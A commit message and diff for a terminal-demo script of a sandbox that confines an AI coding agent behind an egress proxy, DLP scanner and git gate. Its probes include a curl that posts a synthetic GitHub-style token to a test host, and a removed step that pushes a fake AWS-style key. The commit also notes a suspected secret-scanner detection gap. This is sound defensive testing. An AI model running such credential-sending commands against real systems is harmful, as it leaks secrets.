fix: retarget the demo at macos-container and re-record

The Docker backend cannot launch a bottle on this host: the
orchestrator publishes 127.0.0.1:8099 but is attached only to the
`--internal` control network, so Docker accepts the mapping and never
establishes the forward (PortBindings set, NetworkSettings.Ports
empty). Every launch dies on `orchestrator did not become healthy`.
That is independent of the demo and left alone here, because fixing it
means touching the L3 isolation the control network exists to provide.

Pin the tape to macos-container, which launches cleanly, and drop the
Docker daemon check and image pre-warm from setup. The pre-warm is not
replaced with a `container build` equivalent: build_image() applies
--dns handling that would become a second, drifting copy in shell, and
the warm layer cache already keeps rebuilds fast. Pre-warm never kept
BuildKit off camera anyway — the launcher prints CACHED lines
regardless, so that comment was wrong when it was written.

Launch via --headless. The interactive path opens four selectors in a
row and the tape drove none of them; it also lists every bottle in
~/.bot-bottle/bottles/, putting the operator's own bottle names in a
GIF that ships in the README. --headless is one-shot by construction
(`claude -p`), so all probes ride in on a single --prompt rather than
being typed as follow-ups into a session that has already exited.

Spell the probes as literal shell commands. Left in English, one take
had the agent substitute a placeholder for $FAKE_TOKEN: the DLP
scanner had nothing to match and gitleaks found nothing to flag, so
both controls reported a clean pass without ever being exercised.
Neither curl discards the body, so the recording shows the host-filter
refusal and the DLP refusal as visibly different reasons instead of
two identical 403s.

Drop the git/gitleaks probe. In the last run carrying it, gitleaks
reported `no leaks found` on an AKIA-shaped key and the gate forwarded
the push, which failed only because upstream.invalid does not resolve.
A recording of that reads as the gate catching a secret while showing
the opposite. Tracked in #541.

Refs #540

Co-Authored-By: Claude Opus 5 <noreply@anthropic.com>

docs/demo.tape

@@ -17,74 +17,94 @@ Set FontSize   13
 Set Width      1180
 Set Height     780
 Set Padding    20
-Set Theme      "BirdsOfParadise"
+Set Theme      "iTerm2 Dark Background"
 Set TypingSpeed 40ms
 
 Hide
 Type "clear"
 Enter
 # Pin the backend off-camera so the visible command line stays the
-# plain thing a user would type. demo-setup.sh pre-warms the Docker
-# image graph, so the recording must not follow the host default
-# (Apple Container on macOS, Firecracker on KVM Linux).
-Type "export BOT_BOTTLE_BACKEND=docker"
+# plain thing a user would type, and so the recording doesn't follow
+# the host default (Firecracker on KVM Linux).
+Type "export BOT_BOTTLE_BACKEND=macos-container"
 Enter
 Type "clear"
 Enter
 Show
 
-# Real invocation — what a user with the demo bottle installed would
-# type. The bottle declares one allowlisted host, one git upstream
-# (unreachable on purpose so gitleaks runs before the gate would
-# forward), and a FAKE_TOKEN env var shaped like a GitHub PAT.
-Type "bot-bottle start demo"
-Enter
-Sleep 8s
-
-# Confirm the y/N preflight. bot-bottle reads from /dev/tty.
-Type "y"
+# Real invocation. The bottle declares one allowlisted host, one git
+# upstream (unreachable on purpose so gitleaks runs before the gate
+# would forward), and a FAKE_TOKEN env var shaped like a GitHub PAT.
+#
+# --headless is what keeps this tape stable. The interactive path opens
+# four selectors in a row (bottle multiselect, name/color modal,
+# image-mode picker, y/N preflight); driving those blind is how an
+# earlier version of this tape silently recorded `command not found`
+# after the prompts changed underneath it. --headless skips all four,
+# and it keeps the operator's own bottle names out of the recording —
+# the multiselect lists every bottle in ~/.bot-bottle/bottles/.
+#
+# All four probes ride in on the single --prompt because --headless is
+# one-shot by construction: the claude provider implements it as
+# `claude -p <prompt>` (contrib/claude/agent_provider.py:351), print
+# mode, which answers and exits. There is no session left to type a
+# follow-up into — an earlier cut of this tape typed probes 2-4 into
+# the dead shell and recorded `bash: GET: command not found`.
+#
+# Note: no --cached-images. Setup does not pre-build, and launch
+# derives a per-bottle tag that would not be present anyway;
+# --cached-images is a hard failure when that tag is absent. The warm
+# layer cache makes the derived build fast regardless.
+#
+# The probes, in order: (1) a warm-up whose reply at all proves
+# api.anthropic.com survives the round trip — bumped TLS handshake, DLP
+# scan, forward; (2) a non-allowlisted host, refused by the gateway's
+# host filter; (3) an allowlisted host carrying a credential-shaped
+# body, where the host check passes and the egress scanner's DLP body
+# scan is the only thing left — that route sets outbound_on_match:
+# block, so it is an immediate 403 rather than the default `supervise`
+# hold-for-approval.
+#
+# Neither curl discards the body (no -o /dev/null). Without it both
+# probes render as a bare `403` and probe 3 is indistinguishable from
+# probe 2 — one take had the agent hedge "DLP or host-allowlist
+# rejection" because it genuinely could not tell which control fired.
+# The refusal text is the only thing that shows the host check passed
+# and the body scan is what refused.
+#
+# Keep apostrophes out of the --prompt text. The whole prompt is a
+# single-quoted shell word, so one apostrophe ends it early: a take
+# that said "the proxy's refusal text" died on
+# `bash: syntax error near unexpected token '('` before the bottle
+# ever started.
+#
+# There is deliberately no git/gitleaks probe. It used to be probe 4,
+# pushing an AKIA-shaped key to the git-gate to watch gitleaks reject
+# the ref in pre-receive. In the last recording gitleaks reported `no
+# leaks found` and the gate forwarded the push; it failed only because
+# `upstream.invalid` does not resolve. A GIF of that reads as "the gate
+# caught the secret" while showing the opposite, so the probe is out
+# until issue #541 settles whether that is a real detection gap.
+#
+# The probes are spelled as literal shell commands rather than English
+# because the agent's discretion is the single biggest source of
+# recording flake. One take had it substitute a placeholder
+# `ghp_FAKE...` for $FAKE_TOKEN, so the DLP scanner had nothing to
+# match and the control reported a clean pass it never earned.
+# $FAKE_TOKEN stays unexpanded here on purpose: the bottle's own shell
+# expands it inside the sandbox, which is what makes probe 3 a real
+# egress test.
+Type `bot-bottle start demo --headless --prompt 'Run these three commands with the Bash tool, exactly as written, and report each result in one line, quoting the refusal text returned by the proxy verbatim. Do not substitute placeholders for any value. (1) echo hello; (2) curl --proxy "$HTTPS_PROXY" -s -w " [%{http_code}]" http://example.com/; (3) curl --proxy "$HTTPS_PROXY" -s -w " [%{http_code}]" -d "token=$FAKE_TOKEN" http://example.org/dlp-probe'`
 Enter
 
-# Wait for the bottle to launch: networks created, the gateway
-# container started (egress proxy + git gate + supervise), agent
-# container started, claude boots.
-Sleep 22s
+# Wait for the bottle to launch (networks, the gateway container with
+# egress proxy + git gate + supervise, the agent container, claude
+# booting) and then run all four probes to completion. Sized for four
+# tool-using turns; mpdecimate strips whatever dead time is left over.
+Sleep 110s
 
-# Probe 1 — warm-up. A reply at all proves api.anthropic.com is
-# reachable through the gateway end-to-end: bumped TLS handshake, DLP
-# scan, and forward all succeed.
-Type "hello there"
-Enter
-Sleep 10s
-
-# Probe 2 — non-allowlisted host. The gateway's host filter refuses to
-# forward example.com; the agent runs curl via Bash and reports the
-# 403 it sees. The bottle prompt frames this as a proxy-behavior
-# probe so claude doesn't second-guess the request.
-Type "GET http://example.com via curl — what status does the proxy give back?"
-Enter
-Sleep 18s
-
-# Probe 3 — allowlisted host BUT a credential-shaped body. The
-# bottle's FAKE_TOKEN env var is a ghp_-prefixed synthetic. example.org
-# is the bottle's one declared route, so the host check passes and the
-# egress scanner's DLP body scan is the only thing left to catch it.
-# That route sets outbound_on_match: block, so this is an immediate
-# 403 rather than the default `supervise` hold-for-approval.
-Type `POST "token=$FAKE_TOKEN" to http://example.org/dlp-probe via curl — what does the proxy do?`
-Enter
-Sleep 20s
-
-# Probe 4 — commit an AKIA-shaped key and push to the declared
-# upstream. The bottle's ~/.gitconfig rewrites the URL to the
-# git-gate via `insteadOf`, so the push lands at the gate, gitleaks
-# runs in pre-receive, and the ref is rejected before the gate
-# would forward upstream.
-Type "init /tmp/r, commit AKIAQRJHK7N5ZPM2VXTL to leak.txt, push to ssh://git@upstream.invalid/path.git main — does the gate let it through?"
-Enter
-Sleep 30s
-
-# Leave claude. The launcher tears down the container, companion containers, and
-# networks on session end.
+# Headless exits on its own once the prompt is answered; Ctrl+D just
+# closes the recording shell. The launcher tears down the container,
+# companion containers, and networks on session end.
 Ctrl+D
 Sleep 4s